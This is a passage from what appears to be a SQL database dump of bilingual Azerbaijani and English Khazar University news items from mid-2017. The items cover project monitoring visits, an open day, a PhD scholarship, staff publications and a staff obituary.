Universitetinin,&nbsp; mayın 30-da\r\nESFİDİP layihəsinin rəhbəri Rima Məmmədova və ƏTİ sədri D. Rəhimli Lənkəran\r\nDövlət Universitetinin, iyunun 8-də ESFİDİP layihəsinin rəhbəri R. Məmmədova, Xəzər\r\nUniversitetinin Qəbul və tələbə şöbəsinin müdiri Lamiyə Namazova və ƏTİ sədri\r\nD. Rəhimli Sumqayıt Dövlət Universitetinin, iyunun 9-da Xəzər Universitetinin Təhsil\r\nfakültəsinin dekanı Elza Səmədova və ƏTİ sədri D. Rəhimli Gəncə Dövlət\r\nUniversitetinin, iyunun 12-də isə ESFİDİP layihəsinin rəhbəri R. Məmmədova, Qəbul\r\nvə tələbə şöbəsinin müdiri L. Namazova və ƏTİ sədri D. Rəhimli Azərbaycan Dövlət\r\nİqtisad Universitetinin monitorinqini həyata keçirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Monitorinqlərin nəticəsi\r\nolaraq universitetlərin ESFİDİP layihəsi ilə əlaqədar həyata keçirdikləri tədbirlər\r\nvə eyni layihə çərçivəsində yaradılmış “Əlilliyi olan Tələbələr üçün Mərkəz”lərin\r\nfəaliyyətləri qiymətləndirildi, məsləhət və təkliflər verildi.<strong><em></em></strong></p>'),(3915,2278,'az','Xəzər Universitetinin əməkdaşı seminarda iştirak etdi','2017-ci il iyunun 16-da Azərbaycan Respublikası Prezidenti yanında Qeyri-Hökümət Təşkilatlarına Dövlət Dəstəyi Şurası və Fəlsəfi Maarifçilik Assosiasiyası İçtimai Birliyinin birlikdə...','<p>2017-ci il iyunun 16-da Azərbaycan Respublikası\r\nPrezidenti yanında Qeyri-Hökümət Təşkilatlarına Dövlət Dəstəyi Şurası və Fəlsəfi\r\nMaarifçilik Assosiasiyası İçtimai Birliyinin birlikdə təşkil etdiyi “Mənəvi birliyimizi\r\nyaşadaq və inkişaf etdirək” adlı seminarda Xəzər Universiteti Humanitar və elmlər\r\nfakültəsi dekan müavini doktorant Mələk Kərimova iştirak etdi. Azərbaycan Milli\r\nElmlər Akademiyası Fəlsəfə İnstitutu Estetika şöbəsinin müdiri və Fəlsəfi\r\nMaarifçilik Assosiasiyasının sədri professor Adil Əsədovun təşkilatçılığı ilə\r\nkeçirilən seminar milli-mənəvi dəyərlərin qorunması ətrafında maraqlı\r\ndiskussiyalarla davam etdi. M.Kərimova mövzu ilə bağlı aparılan müzakirələrə\r\nqoşularaq təkliflər irəli sürdü.</p>'),(3913,2277,'en','Students went on an excursion  to Ismayilli','On June 3rd, 2017 an excursion was organised  in Ismayilli by the department of Geography and the Environment for the students majoring in Geography Teacher Education, the School...','<p>On\r\nJune 3rd, 2017 an excursion was organised&nbsp;\r\nin Ismayilli by the department of Geography and the Environment for the\r\nstudents majoring in Geography Teacher Education, the School of Education, &nbsp;on the subjects of &nbsp;Urban Planning and Hydrology.</p>\r\n<p>The flow forms the Girdimanchay\r\nwere analysed on the subject of Hydrology and the students became familiar with\r\nthe water system of Lahic. They also learned the urban planning of Ancient Lahic\r\non the subject of Urban Planning.&nbsp;</p>'),(3914,2277,'az','Tələbələr İsmayıllıya ekskursiya etdilər','2017-ci il iyunun 3-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin təşkilatçılığı ilə Təhsil fakültəsi coğrafiya müəllimliyi ixtisasının tələbələri üçün şəhərsalma...','<p>2017-ci il iyunun 3-də Xəzər Universiteti Coğrafiya və ətraf mühit\r\ndepartamentinin təşkilatçılığı ilə Təhsil fakültəsi coğrafiya müəllimliyi\r\nixtisasının tələbələri üçün şəhərsalma və hidrologiya fənləri üzrə İsmayıllı\r\nrayonunda ekskursiya təşkil edildi. Hidrologiya fənni üzrə Girdimançayın axım\r\nformaları təhlil edildi və Lahıc qəsəbəsinin su sistemi ilə tanış olundu. Şəhərsalma\r\nfənnindən isə Qədim Lahıc qəsəbəsinin planı öyrənildi.</p>'),(3916,2279,'az','Xəzər Universitetində növbəti “Açıq qapı” günü keçirildi','2017-ci il iyunun 16-da  Xəzər Universitetində növbəti “Açıq qapı” günü keçirildi. “Kainat” Tədris Mərkəzinin Bakının Qaradağ rayonundakı Lökbatan qəsəbəsi və Sahil qəsəbəsi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il iyunun 16-da Xəzər Universitetində növbəti “Açıq qapı”\r\ngünü keçirildi. “Kainat” Tədris Mərkəzinin Bakının Qaradağ rayonundakı Lökbatan&nbsp;qəsəbəsi və Sahil qəsəbəsi bölmələrinin XI sinif şagirdləri universitetin “Mərmər”\r\nzalında toplaşmışdılar. Zalda ixtisas qrupları üzrə və universitetdə fəaliyyət\r\ngöstərən əsas mərkəzlərin informasiya masaları qurulmuşdu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tədbiri universitetin Təhsil fakültəsinin dekanı Elza Səmədova açaraq,\r\nuniversitet haqqında məlumat verdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Şagirdlər Xəzər Universiteti barəsində videoçarxlara baxdılar və\r\nonlara universitetin bukletləri paylandı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Qonaqlar universitetin müxtəlif ölkələrdə yüksək vəzifələrdə çalışan\r\nməzunları barəsində məlumatla tanış oldular. Qonaqlara konsert proqramı təqdim\r\nolundu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Sonra şagirdlər ixtisas və mərkəz masaların ətrafında əməkdaşlarla\r\nsöhbət edib, öz suallarına ətraflı cavab alıblar.</p>'),(3917,2280,'az','Xəzər Universitetinin professoru “İqtisadi forum” verilişinin qonağı oldu','2017-ci il iyunun 14-də “İqtisadi forum” verilişinin qonaqları Xəzər Universitetinin professoru Fuat Rəsulov və Risk Menecment Assosiasiyası ekspertlər qrupunun rəhbəri, özəl...','<p>2017-ci il iyunun 14-də “İqtisadi forum”\r\nverilişinin qonaqları Xəzər Universitetinin professoru Fuat Rəsulov və Risk\r\nMenecment Assosiasiyası ekspertlər qrupunun rəhbəri, özəl banklardan birinin\r\nrisk departamentinin direktoruElman\r\nSadıqov olmuşlar. İqtisadi və Siyasi\r\nAraşdırmalar Mərkəzinin rəhbəri Sabit Bağırovun müəllifi olduğu proqramın budəfəki\r\nburaxılışı “Sahibkarlar üçün maliyyə əlçatanlığı” mövzusuna həsr olunmuşdu.</p>\r\n<p>Verilişi bu link vasitəsilə izləmək olar:</p>\r\n<p><a href=\"https://www.youtube.com/watch?v=_bexTogOz8o&amp;feature=youtu.be\" target=\"_blank\">https://www.youtube.com/watch?v=_bexTogOz8o&amp;feature=youtu.be</a>.</p>'),(3921,2274,'en','The representative of Khazar University participated in the conference called ‘National consultations on the protection of migrants in the context of crisis’','On June 14, 2017, Rima Mammadova, the project coordinator of Khazar University attended the conference on \"National consultations on the protection of migrants in the context...','<p>On June 14, 2017, Rima Mammadova, the project\r\ncoordinator of Khazar University attended the conference on \"National\r\nconsultations on the protection of migrants in the context of Crisis\" &nbsp;organised by the International Organization\r\nfor Migration (IOM). Parviz Musayev, Deputy Head of the State Migration, Chiara\r\nMilano, the Migrants in Countries in Crisis Secretariat (MICIC) and Serhan\r\nAktoprak, Chief\r\nof the International Organization for Migration (IOM) delivered speeches in the conference. The information about migrants’ initiative\r\nregarding Global Compact and Countries in Crisis and opinions related to the topic were discussed during\r\nthe meeting. Rima Mammadova mentioned the importance of getting a &nbsp;higher education for migrants and stated the\r\nnecessity of paying more attention to this area. The conference ended with\r\nfurther dicussions and proposals.&nbsp;</p>'),(3922,2271,'en','Khazar University staff in Germany','On June 4-11, 2017, Jeyhun Mammadov, Dean of the school of Economics and Management and the instructor Nijat Garayev as well as Dr. Mukhtar Hajizade, Head of the Department...','<p>On June\r\n4-11, 2017, Jeyhun Mammadov, Dean of the school of Economics and Management and\r\nthe instructor Nijat Garayev as well as Dr. Mukhtar Hajizade, Head of the\r\nDepartment of Political Science and International Relations and the instructor,\r\nZivar Huseynova were on a business trip at University of Oldenburgh within the\r\nsecond phase of the project called Erasmus+PROMIG.</p>\r\n<p>The purpose of the visit was to share the experience with\r\nthe future staff of the Master of Science Program in Migration to be\r\nestablished at Tabesh University of Afghanistan that was gained through newly\r\nfounded Migration Research Centers in South Caucasus within TEMPUS/UNIMIG\r\nproject, as well as by means of teaching graduate programs, and to improve the\r\nexisting achievements.</p>\r\n<p>During the project, the main work consisted of the\r\npreparation of curriculum on migration, its design for Tabesh University\r\ntogether with the academic staff of the same university and discussions over the\r\ntopic.&nbsp; At the same time, the meetings\r\nwere held with non-governmental organizations and institutions of Germany\r\nspecialized in the management and learning of migration.</p>\r\n<p>The trip ended with the conference with the attendance of\r\nall the participants along with the students of master programs of relevant\r\nuniversities. The discussions were made about the conduction of scientific\r\nresearch, topics of the research, collection of data during the studies and\r\ndifficulties related to its analysis as well as possible solutions.</p>\r\n<p>Khazar University is an actively participating partner in\r\nthe project and aims at gaining new achievements in research by expanding its\r\nrelations with other universities at the second stage of the project.&nbsp;</p>'),(3923,2285,'en','Khazar University with the support SPE Azerbaijan section is delighted to offer a PhD scholarship within the School of Engineering and Applied Sciences','A full PhD scholarship is available at the Petroleum Engineering...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">A full PhD scholarship\r\nis available at the Petroleum Engineering department within the School of Engineering\r\nand Applied Sciences, Khazar University. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">The selected applicant\r\nwill also be offered a paid researcher position in a research team working on a\r\nfully funded industry scale research project, where he/she will be given an\r\nopportunity to work with real field data.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><strong>Applicant needs to</strong></p><ul><li>possess\r\na post-graduate diploma (MSc) from local or foreign universities in Geosciences\r\nor Petroleum Related Disciplines.</li><li>possess\r\nan adequate proficiency in the English language.</li><li>have\r\na clear understanding of basin and reservoir geology as well as rock mechanics,\r\nand good awareness of the petro physical evaluation of well logs.</li><li>be\r\nopen to teach and share their knowledge as they will be offered a teaching\r\nposition at the university during the duration of the PhD program.</li></ul>\r\n<p><strong>Note</strong><strong>:</strong> All applications should be submitted to the\r\nDean of Engineering College, Hassan Niknafs at <a href=\"mailto:hniknafs@khazar.org\"><strong>hniknafs@khazar.org</strong></a></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><strong><a href=\"/files/pdf/events/PhD%20scholarship%20announcement_shale%20compaction.docx\">Further information\r\ncan be obtained via the link below</a></strong><strong><a href=\"/files/pdf/events/PhD%20scholarship%20announcement_shale%20compaction.docx\">:</a></strong></p>'),(3924,2286,'en','The final activity of Tempus Project ‘The Establishment of Foundation for the Integration of Disabled People into HEIs of Azerbaijan’ (ESFIDIP), whose coordinator was Khazar University,  was implemented.','Partner universities of Tempus Project ‘The Establishment of Foundation for the Integration of Disabled People into HEIs of Azerbaijan’ (ESFIDIP), whose coordinator was...','<p>Partner universities of Tempus Project ‘The\r\nEstablishment of Foundation for the Integration of Disabled People into HEIs of\r\nAzerbaijan’ <a>(ESFIDIP)</a>, whose coordinator was Khazar\r\nUniversity, have been monitored as the final activity of the project. During\r\nthe monitoring process the coordinators of ‘ESFIDIP’ Project and of ‘Centres\r\nfor Disabled Students’ were met, the contributions of the universities within\r\nthe framework of the project and the activities of the Centres for Disabled\r\nStudents, created within the same project, were assessed and recommendations\r\nwere given.</p>\r\n<p>On May 20, 2017, Raziya Isayeva, the Director of Development,\r\nKhazar University and Dr. Irada Khalilova, &nbsp;the Head of the Biology Department, monitored\r\nNakhchivan State University.</p>\r\n<p>The monitoring process of the other partner&nbsp; universities were carried out on the\r\nfollowing dates: </p>\r\n<p>30 May, 2017 - Lankaran State University was monitored\r\nby Rima Mammadova, the project manager of ESFIDIP and Davud Rahimli, the Head\r\nof the Union of Disabled People Organizations;</p>\r\n<p>8 June, 2017 – Sumgayit State University was observed by\r\nRima Mammadova, the project manager of ESFIDIP, Lamiya Namazova, Head of the\r\nDepartment of Admission and <a>Davud Rahimli, the Head of the\r\nUnion of Disabled People Organizations</a>;</p>\r\n<p>9 June, 2017 – Ganja State University was checked by Dr.\r\nElza Samadova, Dean of the School of Education and Davud Rahimli, the Head of\r\nthe Union of Disabled People Organizations; </p>\r\n<p>12 June, 2017 – Azerbaijan State Economic University was examined by Rima\r\nMammadova, the project manager of ESFIDIP, Lamiya Namazova, Head of the Admission\r\nDepartment and <a>Davud Rahimli, the Head of the Union of\r\nDisabled People Organizations.</a></p>\r\n<p>Khazar University, a coordinator of the project, &nbsp;was monitored on 18 May, 2017 by Davud\r\nRahimli, the Head&nbsp; of <a>the Union of Disabled People Organizations, </a>Firuza\r\nBabayeva and Ayaz Huseynov, the representatives of the Union.&nbsp;</p>'),(3925,2276,'en','Monitoring has been implemented as a final activity of ESFİDİP Tempus Project ','Partner universities of Tempus Project ‘The Establishment of Foundation for the Integration of Disabled People into HEIs of Azerbaijan’ (ESFIDIP), whose coordinator was...','<p>Partner universities of Tempus Project ‘The Establishment of Foundation for the Integration of Disabled People into HEIs of Azerbaijan’ (ESFIDIP), whose coordinator was Khazar University, have been monitored as the final activity of the project. During the monitoring process the coordinators of ‘ESFIDIP’ Project and of ‘Centres for Disabled Students’ were met, the contributions of the universities within the framework of the project and the activities of the Centres for Disabled Students, created within the same project, were assessed and recommendations were given.</p><p>On May 20, 2017, Raziya Isayeva, the Director of Development, Khazar University and Dr. Irada Khalilova, &nbsp;the Head of the Biology Department, monitored Nakhchivan State University.</p><p>The monitoring process of the other partner &nbsp;universities were carried out on the following dates:</p><p>30 May, 2017 - Lankaran State University was monitored by Rima Mammadova, the project manager of ESFIDIP and Davud Rahimli, the Head of the Union of Disabled People Organizations;</p><p>8 June, 2017 – Sumgayit State University was observed by Rima Mammadova, the project manager of ESFIDIP, Lamiya Namazova, Head of the Department of Admission and Davud Rahimli, the Head of the Union of Disabled People Organizations;</p><p>9 June, 2017 – Ganja State University was checked by Dr. Elza Samadova, Dean of the School of Education and Davud Rahimli, the Head of the Union of Disabled People Organizations;</p><p>12 June, 2017 – Azerbaijan State Economic University was examined by Rima Mammadova, the project manager of ESFIDIP, Lamiya Namazova, Head of the Admission Department and Davud Rahimli, the Head of the Union of Disabled People Organizations.</p><p>Khazar University, a coordinator of the project, &nbsp;was monitored on 18 May, 2017 by Davud Rahimli, the Head &nbsp;of the Union of Disabled People Organizations, Firuza Babayeva and Ayaz Huseynov, the representatives of the Union.&nbsp;</p>'),(3927,2287,'az','Vurğun Əyyubun “Hekayə təhlilləri” silsiləsindən növbəti yazısı','Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müdiri dosent Vurğun Əyyubun “Hekayə təhlilləri” silsiləsindən növbəti yazısı xeber365.com saytında çap olunmuşdur...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">Xəzər Universiteti Azərbaycan dili və ədəbiyyatı\r\ndepartamentinin müdiri dosent Vurğun Əyyubun “Hekayə təhlilləri” silsiləsindən\r\nnövbəti yazısı <strong><em>xeber365.com</em></strong> saytında çap olunmuşdur. Müəllif bu məqaləsində\r\nyazıçı Şərif Ağayarın “Şəkil” hekayəsini mövzu, ideya və sənətkarlıq baxımından\r\ntəhlil etmişdir. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:107%\"\"=\"\">Məqaləni\r\nbu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:107%\"\"=\"\"><a href=\"http://xeber365.com/haber-oxucu-da-onlarla-birlikd-babani-kor-etm-nin-iztirablarini-yasayir---vurgun-yyub-yazir-8383.html\">http://xeber365.com/haber-oxucu-da-onlarla-birlikd-babani-kor-etm-nin-iztirablarini-yasayir---vurgun-yyub-yazir-8383.html</a>&nbsp; &nbsp;</p>'),(3926,2282,'en','TEDxKhazar University event’s videos are on Youtube now       ','Videos from TEDxKhazarUniversity event, which was held at Khazar University for the first time on 13 May, 2017, are on the official Youtube channel of TED. The event contained...','<p>Videos from TEDxKhazarUniversity\r\nevent, which was held at Khazar University for the first time on 13 May, 2017,\r\nare on the official <em>Youtube</em> channel\r\nof TED. The event contained nine specialist speakers’ talks and musical\r\nperformances by the students and teachers of Khazar University. In accordance\r\nwith the nature of TEDx, the talks were precise, effective, related\r\nto social events,\r\nencouraging and were highly approved by hundreds\r\nof people.</p>\r\n<p>Professor\r\nHamlet Isaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees was also among the lecturers and talked about his dream\r\nof founding a university which came true. Dreaming of an issue like education\r\nin 1991 which had also a political side and its realization, indeed, required &nbsp;determination,\r\nfarsightedness and hard work. Professor Hamlet Isakhanli’s speech, as well as\r\nother eight talks and musical performances have been presented to audiences on <a href=\"http://www.youtube.com/\">www.youtube.com</a> entitled\r\n<strong><em>tedxkhazaruniversity.&nbsp;</em></strong></p>'),(3928,2287,'en','The next article from the series ‘Analyses of the Story’ by Vurgun Eyyub','The next article from  the series  ‘Analyses of the Story’  by Vurgun Eyyub, the assistant professor, Head of Azerbaijani language and Literature  Department was published...','<p>The next article from&nbsp; the series&nbsp;\r\n‘Analyses of the Story’&nbsp; by Vurgun\r\nEyyub, the assistant professor, Head of Azerbaijani language and Literature&nbsp; Department was published on&nbsp; the website&nbsp;\r\n<strong><em>xeber365.com</em></strong>.</p>\r\n<p>In\r\nthis article the author analyzed the story “Picture” by Sharif Agayar in terms\r\nof topic, idea and art.</p>\r\n<p>The\r\narticle can be read via this link:</p><p><a href=\"http://xeber365.com/haber-oxucu-da-onlarla-birlikd-babani-kor-etm-nin-iztirablarini-yasayir---vurgun-yyub-yazir-8383.html\">http://xeber365.com/haber-oxucu-da-onlarla-birlikd-babani-kor-etm-nin-iztirablarini-yasayir---vurgun-yyub-yazir-8383.html</a></p>'),(3929,2288,'az','İngilis dili və ədəbiyyatı departamentində magistr müdafiəsi keçirildi','2017-ci il  iyunun 20-də Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin magistr tələbələri Könül Mərdanova və Nuranə İsmayılovanın İngilis dili və ədəbiyyatı departamentində...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil&nbsp; iyunun 20-də Xəzər Universiteti Humanitar\r\nvə sosial elmlər fakültəsinin magistr tələbələri Könül Mərdanova və Nuranə\r\nİsmayılovanın İngilis dili və ədəbiyyatı departamentində dissertasiya müdafiəsi\r\nkeçirildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Müdafiədə\r\nMagistratura, doktorantura və elmi işlər bölməsinin müdiri Eldar Şahgəldiyev, Azərbaycan\r\nDövlət Dillər Universitetinin müəllimi İrina Orucova, Azərbaycan Dövlət Dillər\r\nUniversitetinin müəllimi İradə Səmədova, İngilis dili və ədəbiyyatı\r\ndepartamentinin müdir müavini Eynur Mehdiyev, Alt proqramlar üzrə koordinator&nbsp; Milana Abbasova, departamentin müəllimləri Cəmalə\r\nMəmmədova və Gülnar Abbasova iştirak etdilər.&nbsp;&nbsp;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Müdafiə\r\nzamanı magistr tələbələr öz tədqiqat işləri haqqında ətraflı təqdimat etdilər və\r\nonlara verilən sualları cavablandırdılar. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Hər\r\niki tələbə müdafiəni uğurla edib magistr adına layiq görüldü.&nbsp;</p>'),(3930,2289,'az','Tələbələrin yaradıcılıq işlərinə baxış keçirildi','2017-ci il iyunun 20-də Xəzər Universitetinin Mərmər salonunda dizayn ixtisası və xor fənni üzrə təhsil alan tələbələrin yaradıçılığına baxış keçirildi.Tədbirdə universitetin rəhbərliyi...','<p>2017-ci il iyunun 20-də Xəzər Universitetinin Mərmər\r\nsalonunda dizayn ixtisası və xor fənni üzrə təhsil alan tələbələrin\r\nyaradıçılığına baxış keçirildi.Tədbirdə universitetin rəhbərliyi, dekanlar,\r\ndepartament müdirləri və əməkdaşlar iştirak edirdilər.</p>\r\n<p>Qeyd edək ki, dizayn ixtisası universitetdə cari dərs\r\nilindən başlayaraq, ilk dəfə tədris olunur. (Müəllimlər Afaq Kərimova və Anar\r\nƏsədov). Musiqi və incəsənət departamentinin müdiri, pianoçu Zülfiyyə Sadıqova,\r\ndepartamentin müəllimi Afaq Kərimova çıxış edərək, tələbələrin dizayn və xor\r\nyaradıcılığı haqqında məlumat verdilər. &nbsp;İştirakçılar tələbələrin Mərmər salonda\r\nnümayiş etdirilən işlərinə baxmağa dəvət olundular. Tələbələr öz işləri\r\nhaqqında məlumat verib, sualları cavablandırdılar. </p>\r\n<p>Sonra Xəzər Universitetinin müəllimi Məhsəti\r\nCabbarovanın dirijorluğu ilə tələbələrdən ibarət xor kollektivi pianoda Zülfiyyə\r\nSadıqovanın müşayiəti ilə hazırladıqları konsert proqramını təqdim etdilər.</p>\r\n<p>Tələbələrin yaradıcılıq işləri iştirakçılar tərəfindən\r\nmaraqla qarşılandı. Xəzər Universitetinin rektoru Hassan Niknafs çıxış edərək,\r\nonlara uğurlar arzuladı.</p>'),(3931,2290,'az','“Xəzər Xəbər”in əməkdaşının məqaləsi çap olunub','Azərbaycan Yazıçılar Birliyinin aylıq ədəbi-bədii orqanı olan “Azərbaycan” jurnalının 2017-ci il iyun nömrəsində “Xəzər Xəbər” jurnalının baş redaktor müavini, əməkdar jurnalist...','<p>Azərbaycan Yazıçılar Birliyinin aylıq ədəbi-bədii\r\norqanı olan “Azərbaycan” jurnalının 2017-ci il iyun nömrəsində “Xəzər Xəbər”\r\njurnalının baş redaktor müavini, əməkdar jurnalist Əlirza Balayevin “Qur´anın tərcüməsinə\r\ndair bəzi mülahizələr” adlı məqaləsi dərc olunub.</p>\r\n<p>&nbsp;“Nəzər nöqtəsi”\r\nrubrikası ilə verilmiş məqalədə müəllif Qur´andan bəzi söz və ifadələrin yanlış\r\ntərcümə edildiyini araşdırır və onların düzgün tərcümə modelini təklif edir.</p>'),(3932,2291,'az','Xəzər Universiteti əməkdaşının məqaləsi çap olundu','Xəzər Universiteti Dillər və mədəniyyətlər departamentinin koordinatoru, dosent əvəzi, fil.ü.f.d. Zivər Hüseynli-Baylanın Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya...','<p>Xəzər\r\nUniversiteti Dillər və mədəniyyətlər departamentinin koordinatoru, dosent əvəzi,\r\nfil.ü.f.d. Zivər Hüseynli-Baylanın Azərbaycan Respublikası Prezidenti yanında\r\nAli Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, “Filologiya\r\nməsələləri” jurnalının 2017-ci il 6-cı sayında “Türkcədən farscaya keçmiş əşya\r\nadları (Səfəvilər dövrü)” adlı məqaləsi çap edilmişdir. Məqalədə Səfəvilər\r\ndövrü farsca işlənən türkcə sözlərin araşdırılmasına yer verilmişdir.&nbsp; Tədqiqatın\r\naraşdırma obyekti Səfəvilər dövrü fars dilində yazılmış tarixi mətnlərdir.</p>\r\n<p>Məqalənin tam şəkildə\r\nPDF formatda burada oxumaq olar:&nbsp;<a href=\"/files/pdf/events/Filologiya%20m%C9%99s%C9%99l%C9%99l%C9%99ri.2017.no.6.pdf\">Filologiya məsələləri.2017,№&nbsp;6</a>  </p>'),(3933,2292,'az','\"Xəzər\" də imtahan həyəcanı','Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik...','<p>Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik.</p>'),(3934,2292,'en','Examinations at Khazar','\r\nWe present to you photos from our current examination session...','<p><span style=\"color:#252525;font-family:\'Source Sans Pro\', sans-serif;font-size:18px;background-color:#ffffff\">We present to you photos from our current examination session.</span></p>'),(3935,2281,'en','Hamlet Isakhanli made a speech in the event dedicated to the vocalists','On 17 June, 2017, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees made a speech in a solemn ceremony held at Heydar...','<p>On 17 June, 2017, Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees made a speech in a solemn ceremony held at Heydar Aliyev\r\nPalace dedicated to the prominent singers of Azerbaijan, well-known members of\r\nvocal art, Fidan and Khuraman Gasimova.</p>\r\n<p>He spoke about the history of the vocal\r\nart in Azerbaijan and the role of Gasimova sisters in it. More detailed\r\ninformation can be gained via the following link:</p>\r\n<p><a href=\"http://kaspiy.az/news.php?id=62645.\">http://kaspiy.az/news.php?id=62645.</a></p>'),(3936,2278,'en','Khazar University employee participated in the seminar','On May 16, 2017, the Deputy Dean of the Faculty of Humanities and Social Sciences, PhD Melek Karimova participated in the seminar entitled \"Let us keep alive and develop our...','<p>On May 16, 2017, the Deputy Dean of the Faculty of\r\nHumanities and Social Sciences, PhD Melek Karimova participated in the seminar entitled\r\n\"Let us keep alive and develop our spiritual unity\", organized by the\r\nState Support Council to Non-Governmental Organizations under the President of\r\nthe Republic of Azerbaijan and the Philosophical Enlightenment Association. The\r\nseminar, organized by Professor Adil Asadov, Head of the Aesthetics Department\r\nof the Philosophy Institute of the Azerbaijan National Academy of Sciences and\r\nthe Chairman of the Philosophical Enlightenment Association, continued with\r\ninteresting discussions on the protection of national and moral values. M.\r\nKarimova joined the discussions on the issue and put forward some suggestions.</p>'),(3937,2279,'en','The next \"Open Door\" day was held at Khazar University','On June 16, 2017, the next “Open Day” was held at Khazar University. XI grade pupils of the “Kainat” Education Centre from Lokbatan and Sahil settlement branches in Garadagh district...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On June 16, 2017, the next “Open Day” was held at Khazar University.\r\nXI grade pupils of the “Kainat” Education Centre from Lokbatan and Sahil settlement\r\nbranches in Garadagh district of Baku &nbsp;were\r\ngathered at the \"Marble\" hall at Khazar University. Information\r\ntables representing the specialties and centres operating at the university\r\nwere placed in the hall. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The event was opened by Dr. Elza Samadova, the dean of the School of\r\nEducation and she gave information to the pupils about the university.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The pupils watched videos about Khazar University and they were handed\r\nout the university booklets. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The guests got familiar with the university alumni who hold high positions\r\nin different countries. They were also presented a concert program.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Then, the students talked to staff around information tables and\r\nreceived detailed answers to their questions.</p>'),(3938,2280,'en','Professor of Khazar University was on the “Economic Forum” Programme','On 14 June, 2017, the guests of the programme “Economic Forum” were Fuat Rasulov, Professor of Khazar University and Elman Sadigov, the head of Risk Management Association...','<p>On 14 June,\r\n2017, the guests of the programme “Economic Forum” were Fuat Rasulov, Professor\r\nof Khazar University and Elman Sadigov, the head of Risk Management Association\r\nExperts Group, the director of Risk Department of one of the private banks. The\r\ncurrent broadcast of the programme, authored by Sabit Bagirov, the head of Economic\r\nand Political Research Centre, was dedicated to the topic \"Financial\r\nAccess to Entrepreneurs.\"</p>\r\n<p>The programme can be watched via\r\nthe link below:</p>\r\n<p><a href=\"https://www.youtube.com/watch?v=_bexTogOz8o&amp;feature=youtu.be\" target=\"_blank\">https://www.youtube.com/watch?v=_bexTogOz8o&amp;feature=youtu.be</a>.</p>'),(3939,2293,'az','ALKON CƏBRAYIL OĞLU ƏLİZADƏ','Xəzər Universitetinin  ictimai iaşə üzrə müdiri Alkon Cəbrayıl oğlu Əlizadə 2017-ci il iyunun 20-də qəflətən vəfat etmişdir.','<p>Xəzər Universitetinin&nbsp; ictimai\r\niaşə üzrə müdiri Alkon Cəbrayıl oğlu Əlizadə 2017-ci il iyunun&nbsp;20-də qəflətən\r\nvəfat etmişdir.</p>\r\n<p>Alkon Əlizadə 1951-ci il martın 5-də Bakı şəhərində anadan olmuşdu.\r\nƏmək fəaliyyəti ərzində müxtəlif işlərdə çalışan Alkon Əlizadə 2014-cü ilin\r\nsentyabr ayından Xəzər Universitetində işləyirdi. Ötən illər ərzində o özünü\r\nkollektivin məsuliyyətli, diqqətcil və qayğıkeş üzvü kimi tanıtmış, hamının rəğbətini\r\nqazanmışdı.</p>\r\n<p>Allah rəhmət eləsin!</p>\r\n<p style=\"text-align: center;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:2.95in;text-indent:35.4pt\"\"=\"\"><strong>Xəzər Universitetinin\r\nkollektivi</strong></p>'),(3940,2294,'az','“Xəzər Xəbər”  jurnalının may nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2017 - ci il may nömrəsi (362-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır. 